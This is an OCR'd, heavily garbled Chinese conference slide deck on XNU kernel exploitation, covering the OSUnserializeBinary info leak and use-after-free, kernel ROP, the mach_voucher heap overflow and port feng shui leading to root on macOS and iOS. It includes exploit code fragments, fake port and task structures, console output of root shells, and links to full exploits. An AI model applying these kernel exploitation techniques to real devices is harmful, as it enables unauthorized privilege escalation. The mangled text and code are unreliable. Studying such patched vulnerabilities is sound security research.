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CIRES | HEEED Outline

« XNU introduction

« 10S 9.3.4/macOS 10.11.6 OSUnserializeBinary() info leak & UAF
« XNU kernel ROP

« 10S 10.2/macOS 10.12.2 mach_voucher() heap overflow

« 10S 10 port feng shui

« Conclusion
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/ XNU \

File systems

Networking NKE

POSIX | BSD

\\ L I/0 Kit Drivers ‘ Mac h//
XNU , BEREMNARIEMERFRNZ , #EAFTmacOSHIiOSH, BRDarwiniZ{FRZRI—3B
o, IRFEEDarwin—E{FA BB RFFRURRREREHEAR . XNUZX s Not UnixgI485.

XNU for macOSEFFREFHEBILIGRIFRY : https://opensource.apple.com/source/xnu/

XNU for iOSEIARAIFHH T BB BN | BBARZ TN IMacOSE—1FAY,
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Omzes | 9z8x0  i0S 9.3.4/macOS 10.11.6 A#ZimwilR: OSUnserializeBinary()

REWE

. AN : xnu-source/libkern/c++/0SSerializeBinary.cpp

259 0SObject *
OSUnserializeBinary/( *buffer, size_t bufferSize, 0SString **errorString)
{

kDSSerializeNumber: sym = 0SDynamicCast(0SSymbol, o);
bufferPos += (1long )i (1sym & (str = 0SDynamicCast(0SString, o0)))
(bufferPos > bufferSize) i {
value = next[1l]; sym = (0SSymbol *) 0SSymbol::withString(str);

value <<= 32; A
value |= next[8]; D—}IE}EESE[],

o = 0SNumber: :withMumber{value, len);
next += 2;

[

- (SEME . ZBEEElenfI/N , & - Use-after-free : OSString key#&#290SSymbol
HEILA>8 , Nttt EE izt LRYE B FEFOSStringB& i freet®s 17, {BIXA
=8 OSString#Z AN T XIRFIZRE,

. I] | I — FEREUHT = FeHSE1T




Omzes | 9z8x0  i0S 9.3.4/macOS 10.11.6 A#ZimwilR: OSUnserializeBinary()

<dict> I } { (off = 0SDynamicCast( OSNumber, obj }}) {
) o offsetBytes = off->unsigned64BitValue();
<Key>min</Key= i len = off->number0fBytes();
- ) ) ) _ i bytes = &offsetBytes;
<number>0x4141414141414141 </number> i #ifdef __BIG_ENDIAN__
. ) bytes = ( *)
</dict> (((UInt32) bytes) + ( { UInt64) - len));
| #endif
uint32_t data[] = {
0x000000d3, ) ret = kIOReturnBadArgument;
0x81000001, ( bytes) {

0x08000004, 0x006e696d, | { *=dataCnt < len)
. y ~ ) [ ret = kIOReturnIPCError;
0x84000200, //change the length of OSNumber {
0x41414141, Ox41414141 i *dataCnt = len;
i bcopy( bytes, buf, len );

}ext:??????8000393481 call is io_registry_ entry get_property_ bytes
text:FFFFFF80003934BF mov [r14+28h], eax

. WMRKHEE numberE’J{-x}"' SEAAEFE , FAio_registry_entry_get_property_bytes()ZFKEX
numberEiERNE | FISERRZAVERMEE.

«  EROS numberBH<EHIEN T , BrLAURBINEIBEA B LS X EWZAInumber , X5 £
1B | LN EreturniH2E9R lﬁlﬂﬂﬂt OxFFFFFF80003934BF +kslide,

g I] | I o FEREUHT = FeHSE1T




Omzes | 9z8x0  i0S 9.3.4/macOS 10.11.6 A#ZimwilR: OSUnserializeBinary()

REWE

kOSSerializeObject:

(len >= objsIdx)

o = objsArray[len];
o—>retain();
isRef = .

Oxffffff801f032c40 <+352>: ja'e oxffffff801f0334a3

<data>viable data...</daia> Oxffffff801f032c46 <+358>: movl %edx, —@x5c(%rbp)
) o Oxffffff801f032c49 <+361>: movl %ebx, %eax
<0object=1</object> oxffffff801f032c4b <+363>: movq (%rdi,%rax,8), %rbx

Oxffffff801f032c4f <+367>: movq (%rbx), %rax
Oxffffff801f032c52 <+370>: movq %rbx, %rdi
-> Oxffffff801f032c55 <+373>: callq *@x20(%rax)

«  OSString key#&#a90SSymbolfJidFE2HOSStringE Rt freetr 7, {BIXNOSStringZIHIIAN T XI5
FIFRE, FH—1OSObject3BIES|F— 1 BEMREM 7 HIOSString A& , Fiar=4EUAF,

- Eit, NRBEEREBEOSString#ifreeIiT R , S ZIEHIS—ERANOSString—H X/ N\HWREFHEMIS
YFRINAOvtablefE , ZAIERA0->retain(RIATIR , RiZRIpdEStMBERINEE=H.
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REWE

vm_address_t payload_addr = 0; 1 % i ki 1=1 fil
Vioet tire = ' sym_map_t* mapping_kernel=1sym_map_file(

kernel_fake_stack_t* stack = calloc(1, (kernel_fake_stack_t));

vm_deallocate(mach_task_self(), payload_addr, size);

. PUSH_GADGET (stack)

kern_return_t kr = vm_allocate(mach_task_self(), &payload_addr, size, H PUSH_GADGET (stack)
(kr != KERN_SUCCESS) { PUSH_GADGET ( stack)
printf( I= PUSH_GADGET ( stack)

H PUSH_GADGET (stack)

} PUSH_GADGET (stack)

PUSH_GADGET (stack)
uint64_t * vtable = (uint64_t *)payload_addr; PUSH_GADGET ( stack)

RESOLVE_SYMBOL (mapping_kernel,
ROP_RAX_TO_ARG1(stack, mapping_kernel);
RESOLVE 5YMBDL(mapp1ng kernel,
ROP_RAX_TO_ARG1(stack, mapplng_kernel}
RESOLVE 5YMBDL(mapp1ng kernel,
ROP_RAX_TO_ARG1(stack, mapplng_kernel);
RDP_ARGZ(stack, mapping_kernel, (
RESOLVE_SYMBOL (mapping_kernel, );

PUSH_GADGET ( stack)

RESOLVE_SYMBOL (mapping_kernel,

vtablel
vtablel
vtable[
vtablel
vtablel
vtablel
vtablel

i MacBookPro: PEGASUS zhengmlns fexp
ROP_POP_RAX(mapping_kernel); R

J Lacal prwilege es:alatian fnr 05 x ln 11 5 vla P‘EGASI.IS
ROP_PIVOT_RAX(mapping_kernel); by Min(Spark) Zheng @ Team OverSky (twitter: @SparkZheng)

ROP_POP_RAX(mapping_kernel);
3 getting kslide...
ROP_POP_RSP(mapping_kernel); ks1ide=8x11400008

i in: building the rop chain...
-
(uint64_t)stack rop_chain; exploit the hernel. ..

sh-3.2# whoami
root

«  fEmacOS_EBE—FEISHIZIE |, iNRexphIbinZ32( AV ERFAYE , ATLUERANULL page, El , &
EoJLAERvm_allocate()EIBZEINULL Page , sAIG¥5vtablef1ROP chain&B{RFENULL pageE,

vtablel
vtablel

- [MEEFIAROPIKELFIHIEMNUcred , REEcr_svuidiZg&E A0 , &xf5Hthread_exception_returniEH
iz , B EZroot,

’ [I | I o FEREUHT = FeHSE1T
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i0S 9.* Jailbreak

| SNEEENENEE

TTTIT

_AENEEE ©
o @

. #EI0S LRIFIOSUnserializeBinary OIS ART—L: , EATREERIEINULL page ( 32{i ERiPhone 7 tkerel
REERHTR SRS, SMAP) |

- KHEBEEELAinfo leakIEEEI— 1 WizbufferfiStbilt , SAFIEROP chain#E N EIRZFHIbufferdhzk, XHEFIX
& 8eF FBUAFRIRFITROPRIHAT.

- BT EILAS#Elookouthy (Technical Analysis of Pegasus Spyware) |

7rhll | I y A FFHRBISH = SE5ET




CRES | 58N i0S 10.2/macOS 10.12.2 A#%ikwil: Heap Overflow

REWE

kern_return_t
mach_voucher_extract_attr_recipe_trap( mach_voucher_extract_attr_recipe_args #*args)
{

ipc_voucher_t voucher = IV_NULL;

kern_return_t kr = KERM_SUCCESS;

mach_msg_type_number_t sz = 9;

(copyin{args—>recipe_size, ( *)8sz, (sz)))
KERN_MEMORY_ERROR;

mach_voucher_extract_attr_recipe_args { host_create_mach_voucher_args {
PAD_ARG_(mach_port_name_t, voucher_name); PAD_ARG_(mach_port_name_t, host);
PAD_ARG_(mach_voucher_attr_key_t, key); PAD_ARG_(mach_voucher_attr_raw_recipe_array t, recipes);
PAD_ARG_(mach_wvoucher_attr_raw_recipe_t, recipe); PAD_ARG_( , recipes_size);
PAD_ARG_(user_addr_t, recipe_size); PAD_ARG_(user_addr_t, wvoucher);

+ macOS 10.12/i0S 10rIRZitEm iR ( #eREL ) |, Eyalul025E(ER.,

« args->recipe_size2—MFFSAYEET | IEEHER T — 1 sizefVEEEL(E.

- REFHRAEREEX N sizeBE , TERcopyin(fEsizeRHEMAPSZNZIN%Z |,
IR {ELS sz,

’ I] | I o FEREUHT = FeHSE1T




CRES | 58N i0S 10.2/macOS 10.12.2 A#%ikwil: Heap Overflow

REWE

. - . 1
uint8_t xkrecipe = kalloc((vm_size_t)sz); uint8_t *krecipe = kalloc((vm_size_t)max_sz);
('krecipe) { ('krecipe) {

kr = KERN_RESOURCE_SHORTAGE; kr = KERN_RESOURCE_SHORTAGE;
done; done;

(copyin(args—->recipe, | *)krecipe, args—>recipe_size ) { (copyin(args->recipe, | *)krecipe sz)) {
kfree(krecipe, (vm_size_t)sz); kfree(krecipe, (vm_size_t)max_sz);
kr = KERN_MEMORY_ERROR; kr = KERN_MEMORY_ERROR;

done; done;

RS (12581 ) R (1BEE)

- PEEEEERkKalloc(sz) RN EE T sz K/ MNIRZIERTE,

o [ARHITY |, BREESAFargs->recipe_size{fEAKE , Acopyin()#E RN BFPSEIEHE
B RZAERTER,

- args->recipe_size2RAF&IEsT , MARIE ! Heap buffer overflow!
« {88 : macOS 10.12.3F0i0S 10.2.14 , {&Kargs->recipe_sizeAsz,

s I] | I e FEREUHT = FeHSE1T
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{Z#llargs->recipe_sizefd{&

BEHTIEERENRATIHERE | i EFEEESiEHlargs->recipe_sizeAYE , MiX
BER— RS | EHERHAZIBAREE,

EiIOSH , HFXJOmE(NULL pointer dereference)IfRiF , h&F A REEHIRF
Ox16000LATFRIMBAL , MEE A BREBEE AT 0x160001EHERIN%Z ? (A%

IWZX
panic )

// this is how much data we want copyin to actually copy
// we make sure it only copies this much by aligning the userspace buffer
Iy,

/ such that after this many bytes there's an unmapped userspace page and the copyin stops and fails
actual_copy_size = kalloc_size + overflow_length;

Hst , R copyin(fE#E WBFSEUERIEHER , BE TunmapiINE |, BilBmELLEEN,
FEI R TFE AT iattElE , F0ZlunmapI7FRYEiE. TE&EAYargs-
>recipe_sizeHFARRIEEXHE,

FERREUHT = SR
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traningsE BinEizxt kalloc.256 (0x100) zonefdTE , FEzsH8AI, Rt BIHE I FERE
MR B 256 + 8= 0x1081i7,

W& TcHAmach_vm_allocate (ERPSSBE—ERARF | AEIRENFAIERbiEstart , 7A

EitE— T &R , B Rend=start+0x108, ZAG/AEmach vm_deallocate()i&
end/GEAFLEUNmapis, REIErecipefYEIRE Hstart,

kalloc.256 overflow 0x8 bytes

0x100 0)%¢3

PERIEEIRE : *(uintb4_t*)recipe_size = 0x100; Xtz =kalloc—ER0x100ARTF ,
RErecipe_size=useraddriINIBEHEIAZE |, (BITEE K recipeittitPOx 108K EGRIA
FEunmapT |, FrLAR S @ Ox8EE.
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Mach Message and Port

*  Mach msg@XNUTEENAEREETS , AEHRSHEREY "SXER" KIEHB, BEE

ZeE | e EETLRIEMACH_MSG OOL PORTS DESCRIPTORIX XFhmsg typesfEis
out-of—lineﬁ#‘alil° tban , & Fmach msg&i%321NMACH_PORT_DEAD ool portZIR# :

header

size

trailer

msgh_bits

msgh_size

msgh_remote_port

msgh_local_port

msgh_voucher_port

msgh_id

(

0 (msgl)-

= MACH_PORT_DEAD_buffer;

MACH_PORT_DEAD = Oxffffffffffffffff

msgh_descriptor_cou
nt

descriptor_type

msgh_trailer_type

msgh_trailer_size

Oxffffff80264e2a00:
Oxffffff80264e2al0:
Oxffffff80264e2a20:
Oxffffff80264e2a30:
Oxffffff80264e2a40:
Oxffffff80264e2a50:
Oxffffff80264e2a60:
Oxffffff80264e2a70:

OxXFFFFFFFFFFFFFFFF
OxFFFFFFFFFFFFFFee
oxFFFFFFFFFFFFFFee
OxFFFFFFFFFFFFFFer
OxFFFFFFFFFFFFFFee
OxFFFFFFFFFFFFFFFT
OxFFFFFFFFFFFFFFee
oxfFFFFFFFFFFFFref

OXFFFFFFFFFFFFFFFT
OxFEFFFFFFFFFFFfee
OxFEFFFFFFFFFFFFee
OxFEFFFFFFFFFFFFee
OxFEFFFFFFFFFFFFee
OXFFFFFFFFFFFFFFFS
OxFFFFFFFFFFFFFfee
OxFEFFFFFFFFFFffee

FERREUHT = SR
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« 32400l portBIA/NZ0x100 , EXA jc/J\ﬁ"-’LEl’JzonexEkalloc 256, #E Mk, WHEEBR
BittHkalloc.256 (0x100) zonelIRTE , B&=F— ool portlIHUE , iLEMipc_objectig
FHERAPRIERfake port object. EMHFAIATLIERFS{miEtask,

mach_voucher heap overflow ports ports

Kernel mode (0)%]

User mode fake ipc_object (port) fake_task

ipc_object { task {
ipc_object_bits_t io—bitS; decl_lck_mtx_data(,leck)
ipc_object_refs_t io_references; uint32_t  ref_count;
1ck_spin_t io_lock_data; boolean_t = activa;
((__packed__));

boolean_t halting;

vm_map_t map;
queue_chain_t tasks;
*user_data;

fined (CONFIG_SCHED_MULTIQ)
hed_group_t sched _group;

FFERBIST = SERS%1T
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100-300

100-300

100-300

send 1-800

1-800

recv 300 — 500; i+=4

300-500

send 300 — 380; i+=4

300-500

heap overflow in kalloc.256 zone!

300-500

500-800

500-800

500-800

C TR E SRR E R iport | AR

FHATHEXZK, B

HYallocilfreefEzonesiZHEERE , ReEEMEFimE , FSHEmEAY

port,

FFERBIST = SERS%1T
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- STimdE  Bidmach_msg()zlool port#dE , AR AIHFE ool port
ABREPORT_DEADTY , iRBBINTEE IS 71X Mport , F X portfy
ipc_objectfii I ETER T AFSHAF.

heap overflow in kalloc.256 zone!

100-300 300-500 500-800

uint64_t textbase = OxfffffffO07004000;

- IWTEEBportmEmkIKOT_CLOCKR#Z e
Hﬁ%yj% ! BEE}\Atethasea:Fyéﬁ}j_jiz ::mrs.: %) (((uint64_t)fakeport) + 0x68) = textbase + k;
AR taskEHRIE IR gL, 40 e oo S R
Eclock_sleep_trap()BUIR[EIEA Hfail , Kern.return_+ kret = clock_sloep_trap foundport, 0, 9, 0, 0)3
AN EE IR FEREE T e = LR,
clock_taskfE H#ZAYHEIL, y

}

FFERBIST = SERS%1T
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- AR AfaketaskiS U ERIERE N expifs i iIEl D, WEE T

fakeportfJtaskigs I EE& (RiERYfaketask, [EfE1EfaketaskAYprocoffig &
JIBESRINRIY N2 EHERIIIE-0x10, AIEHEERIpid_for_task()®ial LASEEN
i ROEERE |, HRFSIvalueEE, (EAFS?? ?)

kern_return_t pid_for_task(struct pid_for_task_args *args)
fake port faketask {

fakeport—>
fakeport->
* Taketask = ((

= IKOT_TASK|IO_BITS_ACTIVE;
= i

*)fakeport) +

*( *J((( )fakeport) +

*( #)((( )fakeport) +
*( %) (faketask + ) = ;

)
)

value = B8;
%) (faketask +
(foundport, &value);
; kernel_addr, value);

) = kernel_addr -

mach_port_name_t
user_addr_t

t = args—=t;
pid_addr = args—=pid;

tl = port_name_to_task(t);

p = get_bsdtask_info(t1);
(p) {
pid = proc_pid(p);
err = KERN_SUCCESS;
}

(void) copyout((char *) &pid, pid_addr, sizeof(int));
(err);

FEREUHT = FeHSE1T
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m | inté4  fastcall get bsdtask info(_ int64 al)

{
mach_port_name_t t = args—>t; return *( QWORD *)( + 0x380);

user_addr_t pid_addr = args—=pid;

t1 = port_name_to_task(t);

p = get_bsdtask_info(t1); signed _ int64 _ fastcall proc pid(__int64 al)

(p) { {
pid = proc_pid(p); signed inté4 result; //
err = KERN_SUCCESS;
} = OxFFFFFFFFLL;
if ( )
(void) copyout(({char %) &pid, pid_addr, sizeof(int)); = *(_DWORD *)( + 0x10);
{err); } return H

(void) copyout({char %) &pid, pid_addr, sizeof(int)); » read Oxffffff800cco0000 : Oxfeedfacf

. Ett , FIBERfaketaskEUREEYY | IWHEELL
pid_for_task() 7 —{4F02AER I1’|5%7F1‘E:FEI’\J

=

FERREUHT = SR
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3xHB¥kslide

- ZRINGEEBEBEIT clock taskfx iz RYMBLE , XM EUEZIRTFEkernel
A9datafRERY , RIkahE REMNX M EFENER , #E]0xfeedfachixX/NEEL
miagEIkernelfibase , HEIX/MbHEEFZOxf 80002000005t Ekslide,

Oxffffff8000200000

kernel text base clock task ptr &=~0x3FFF

uint64_t leaked_ptr = *(uinté4_t#*)(((uintés4_t)fakeport) +
printf( ;leaked_ptr);
leaked_ptr &= ~ 5

(1) {
int32_t leaked = 8;
kr32(leaked_ptr, &leaked);
{leaked == MH_MAGIC_é&4) {
printf( ; leaked_ptr);
I

}
leaked_ptr -=
1

uinté64_t kernel_base = leaked_ptr;
kslide = kernel_base -

FEREUHT = FeHSE1T
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o BEARZEREE , WEELAdumpitiskkernelilipc_objectLAR kernelif#FE
HotaskEUEF IR ELSfake port, BEfE , IXd5& FAtask_get_special_port()gie]
LAs%18kernel task port , F@idmach_vm_read()flmach_vm_write()5%/8
Nz ERIEERIEE T .

pid=0 task_get_special_port()

kernel ipc_object kernel task
l DUMP

fake ipc_object faketask mach_v

kernel task port

m_write()

FFERBIST = SERS%1T
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Rootiz

- BERZIERIEE , WEEKEIB2#HENucred |, Ecr_ruid , BEIE

Ay ===

real user iId{&H0 , X=

REHEBHENUIdZER Troot, BEER

FHfTsystem( “/bin/bash” );BlAI3k{1§rootifRHIshell,

ucred {
TAILQ_ENTRY(ucred) cr_li /* never modi
u_long cr_ref; reference count

posix_cred {

cI_ngroups; *
cr_groups[NGROU 5
cr_rgid;
cr_svgid;

_ cr_gmuid;
cr_flags;

} cr_posix;

label *cr_label; /% MAC label */

/* flags on credential */

the flags)
change

au_session cr_audit; /% user audit

mindeMacBook-Air:port_fengshui_root minzheng$ ./exp

e 2 o e 0 o o o o o o o o o o o ol o o i o ol o o o o o i o o e e o o o o o o o o o o o o e e ol o o e s o i ok ol ekl ol ok ek R R ok
Local privilege escalation for mac0S 18,12.2 via mach_voucher heap overflow
by Min{Spark) Zheng @ Team OverSky (twitter@SparkZheng)

e 2 o e 0 o o o o o o o o o o o ol o o i o ol o o o o o i o o e e o o o o o o o o o o o o e e ol o o e s o i ok ol ekl ol ok ek R R ok
create voucher = Bxc@3

fakeport = Bx5@58808

ptz[B] = Bx32d@3

found port!

leaked_ptr = BxffffffEQRRe2T71cH

found kernel text at @xffffffEQBRGCOBROG

tfp@ = Bx32eB3

kernel_base = @xfFffIffEOQRCOQRED slide = Bx400000

read kernel header = @xle@eed7feedfact

getuid = @

bash-3.2# whoami

root

bash-3.2# uname -a

Darwin mindeMacBook-Air.local 16.3.8 Darwin Kernel Version 16.3.8: Thu MNov 17
bash-3.2#%

| (bash-3. 2%

FERREUHT = SR
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- MEEERWIOSAFAFSLZ MR , L) ENRREZREEELD | B2
KA LR ENEEERNZAYREEIZTE 7 HE.

- WEERANREL AR AT (pegasus , yalu) |, AfAIFZHEAORAIRXAEL /I35
KESRBIRER T AKiIOSRFALZ EHIARIEE.

- RZimRFBLIRRNNSE B

macOS 10.11.6 OSUnserializeBinary() info leak & UAF:
https://github.com/zhengmin1989/0S-X-10.11.6-Exp-via-PEGASUS

macOS 10.12.2 mach_voucher() heap overflow
https://github.com/zhengmin1989/mac0S-10.12.2-Exp-via-mach voucher

FERREUHT = SR
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